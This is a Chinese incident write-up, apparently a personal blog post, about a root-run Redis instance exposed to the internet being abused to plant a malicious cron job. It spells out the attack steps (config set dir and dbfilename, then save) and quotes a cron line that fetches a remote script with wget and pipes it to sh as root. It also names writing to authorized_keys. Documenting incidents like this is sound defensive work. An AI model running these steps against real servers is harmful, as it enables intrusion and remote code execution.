记一次Redis启动权限过高(root)导致的攻击

开头还是那句话, root执行一定要慎用!

事情还得从收到一条阿里云警报短信开始说起, 上周收到了阿里发过来"可疑计划任务"的短信提示, 随即登录服务器, 发现/etc/cron.d文件夹下多了一个叫zzh的文件

文件里面充斥着乱码(被压缩)和很可疑的url地址

第一反应: ssh登录秘钥泄露了? 但是root用户是不允许登录的, 登录账号, 不知道密码的情况下, 也不能使用sudo来修改定时任务, 那问题出现在哪...还在思考的时候, 发现这个文件的开头, 有很特别的一串REDIS0006, 这不是redis么...难道和redis有什么关系?随手ps aux | grep redis看了眼, 好家伙, redis用root跑着的!

事情一下就变得明朗起来了, 进入redis-cli, 然后config get dbfilename, 返回结果

好家伙, 我直接好家伙! 这里的dump.rdb被替换成了crontab, 随机查看了下config get dir, 返回结果

整个事情大概就明朗起来了, 再keys 了下(先用info确保你的key量不会太大), 然后根据刚刚那个zzh的恶意定时文件里面的backup3, backup2, backup1作为关键词, 直接keys backup, 果然出现了意料之中的结果

随便选中一个, get backup2, 返回结果

大概攻击过程已经明了, 接下来是确定攻击入口, 经过一顿查找, 最后发现redis的端口...直接暴露在公网的! 安全组不知道什么时候开启了所有端口的入方向...添加6379端口的入方向拒绝规则堵住攻击入口

攻击流程

这里简单的讲下攻击实现方式吧, 攻击主要针对的是公网能访问的redis服务器(绑定0.0.0.0IP, 并且端口没有做屏蔽操作), 由于使用redis基本上是不会设置密码的, 所以一旦暴露公网, 很容易成为攻击对象, 但是一般情况最严重的也就是非root权限级别的操作, 比如redis被清空之内的, 然而这次由于我们的redis是使用root账号运行的, 这就造成了很严重的后果, 比如可以直接往.ssh/authorized_keys写入自己的公钥, 然后就能直接访问服务器, 或者往/etc/cron.d里面写入使用root执行的恶意shell脚本等.

攻击利用的是redis的备份操作, 也可以叫持久化, 原本在client-cli中执行save是可以往redis的默认安装目录写入一个dump.rdb文件, 然而, 目录是可以通过config set dir进行修改的, 比如修改为/etc只需要使用config set dir '/etc', 同时, 保存的文件名称也是可以使用config set dbfilename 'name'进行修改的, 这时候, 只需要将目录和文件名一起修改, 组成一个/etc/cron.d/xxx的路径, 然后往redis写入数据set backupxxx "*/3 * * * * root wget -q -O- http://xxxx/bash.sh | sh", 再执行save操作, 一个root权限的定时执行脚本就成功写入.

解决方案